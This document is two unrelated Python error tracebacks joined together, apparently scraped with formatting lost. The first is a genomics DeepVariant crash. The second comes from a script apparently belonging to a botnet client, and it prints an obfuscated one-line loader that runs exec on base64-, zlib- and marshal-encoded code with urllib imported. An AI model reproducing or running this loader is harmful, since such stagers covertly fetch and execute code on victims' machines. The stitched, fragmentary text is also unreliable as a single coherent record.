Traceback (most recent call last):


 "/tmp/Bazel.runfiles_QuKTAz/runfiles/com_google_deepvariant/deepvariant/make_examples.py", line 1461, in <module>

tf.app.run()


 "/RED/BCBIO/RESOURCES/bcbio/anaconda/envs/dv/lib/python2.7/site-packages/tensorflow/python/platform/app.py", line 125, in run

_sys.exit(main(argv))


 "/tmp/Bazel.runfiles_QuKTAz/runfiles/com_google_deepvariant/deepvariant/make_examples.py", line 1451, in main

make_examples_runner(options)


 "/tmp/Bazel.runfiles_QuKTAz/runfiles/com_google_deepvariant/deepvariant/make_examples.py", line 1341, in make_examples_runner

candidates, examples, gvcfs = region_processor.process(region)


 "/tmp/Bazel.runfiles_QuKTAz/runfiles/com_google_deepvariant/deepvariant/make_examples.py", line 1024, in process

self.in_memory_sam_reader.replace_reads(self.region_reads(region))


 "/tmp/Bazel.runfiles_QuKTAz/runfiles/com_google_deepvariant/deepvariant/make_examples.py", line 1097, in region_reads

_, reads = self.realigner.realign_reads(reads, region)


 "/tmp/Bazel.runfiles_QuKTAz/runfiles/com_google_deepvariant/deepvariant/realigner/realigner.py", line 610, in realign_reads

self.config.ws_config, self.ref_reader, reads, region)


 "/tmp/Bazel.runfiles_QuKTAz/runfiles/com_google_deepvariant/deepvariant/realigner/window_selector.py", line 236, in select_windows

candidates = _candidates_from_reads(config, ref_reader, reads, region)


 "/tmp/Bazel.runfiles_QuKTAz/runfiles/com_google_deepvariant/deepvariant/realigner/window_selector.py", line 85, in _candidates_from_reads

expanded_region)


 "/tmp/Bazel.runfiles_QuKTAz/runfiles/com_google_deepvariant/deepvariant/realigner/window_selector.py", line 157, in _allele_count_linear_selector

allele_counter, model_conf))
TypeError: allele_count_linear_candidates_from_allele_counter() argument counter is not valid for ::learning::genomics::deepvariant::AlleleCounter (deepvariant.python.allelecounter.AlleleCounter instance given): expecting deepvariant.python.allelecounter.AlleleCounter instance, got deepvariant.python.allelecounter.AlleleCounter instance

Traceback (most recent call last):


 "byob02cl.py", line 1, in <module>

import zlib,base64,marshal,urllib,json;exec(eval(marshal.loads(zlib.decompress(base64.b64decode('eJwrdmBgYCgtysnJTNIDUvkFqXka6hklJQVW+vqGlkZ6hmYWeoZ6FlYWhhbm+vrFJYnpqUXF+uUmJXoFleqaekWpiSkamgDPlRR/')))))
TypeError: expected string without null bytes
